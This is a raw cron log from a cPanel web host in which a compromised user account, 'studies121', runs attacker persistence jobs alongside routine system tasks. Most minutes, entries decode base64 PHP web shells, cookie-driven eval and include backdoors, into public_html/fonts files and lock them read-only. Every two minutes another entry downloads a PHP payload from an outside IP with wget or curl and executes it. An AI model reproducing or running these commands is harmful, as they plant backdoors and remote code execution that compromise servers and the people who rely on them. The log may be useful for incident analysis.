Sep  3 09:11:01 ip-184-168-122-23 CROND[9435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:11:01 ip-184-168-122-23 CROND[9436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:11:01 ip-184-168-122-23 CROND[9437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:11:01 ip-184-168-122-23 CROND[9439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:12:01 ip-184-168-122-23 CROND[9634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:12:01 ip-184-168-122-23 CROND[9635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:12:01 ip-184-168-122-23 CROND[9637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:12:01 ip-184-168-122-23 CROND[9639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:12:01 ip-184-168-122-23 CROND[9640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:13:01 ip-184-168-122-23 CROND[9750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:13:01 ip-184-168-122-23 CROND[9751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:13:01 ip-184-168-122-23 CROND[9753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:13:01 ip-184-168-122-23 CROND[9754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:14:01 ip-184-168-122-23 CROND[9872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:14:01 ip-184-168-122-23 CROND[9873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:14:01 ip-184-168-122-23 CROND[9875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:14:01 ip-184-168-122-23 CROND[9877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:14:01 ip-184-168-122-23 CROND[9876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:15:01 ip-184-168-122-23 CROND[9999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:15:01 ip-184-168-122-23 CROND[10000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:15:02 ip-184-168-122-23 CROND[10004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:15:02 ip-184-168-122-23 CROND[10005]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:15:02 ip-184-168-122-23 CROND[10008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:15:02 ip-184-168-122-23 CROND[10009]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:16:02 ip-184-168-122-23 CROND[10112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:16:02 ip-184-168-122-23 CROND[10115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:16:02 ip-184-168-122-23 CROND[10114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:16:02 ip-184-168-122-23 CROND[10117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:16:02 ip-184-168-122-23 CROND[10116]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 09:16:02 ip-184-168-122-23 CROND[10118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:17:01 ip-184-168-122-23 CROND[10276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:17:01 ip-184-168-122-23 CROND[10278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:17:01 ip-184-168-122-23 CROND[10282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:17:01 ip-184-168-122-23 CROND[10283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:18:01 ip-184-168-122-23 CROND[10466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:18:01 ip-184-168-122-23 CROND[10468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:18:01 ip-184-168-122-23 CROND[10467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:18:01 ip-184-168-122-23 CROND[10469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:18:01 ip-184-168-122-23 CROND[10471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:19:01 ip-184-168-122-23 CROND[10592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:19:01 ip-184-168-122-23 CROND[10593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:19:01 ip-184-168-122-23 CROND[10594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:19:01 ip-184-168-122-23 CROND[10597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:20:01 ip-184-168-122-23 CROND[10706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:20:01 ip-184-168-122-23 CROND[10708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:20:01 ip-184-168-122-23 CROND[10710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:20:01 ip-184-168-122-23 CROND[10711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:20:01 ip-184-168-122-23 CROND[10712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:20:01 ip-184-168-122-23 CROND[10713]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:20:01 ip-184-168-122-23 CROND[10714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:20:01 ip-184-168-122-23 CROND[10715]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 09:20:01 ip-184-168-122-23 CROND[10717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:21:01 ip-184-168-122-23 CROND[10844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:21:01 ip-184-168-122-23 CROND[10848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:21:01 ip-184-168-122-23 CROND[10849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:21:01 ip-184-168-122-23 CROND[10847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:22:01 ip-184-168-122-23 CROND[10975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:22:01 ip-184-168-122-23 CROND[10976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:22:01 ip-184-168-122-23 CROND[10979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:22:01 ip-184-168-122-23 CROND[10981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:22:01 ip-184-168-122-23 CROND[10980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:23:01 ip-184-168-122-23 CROND[11071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
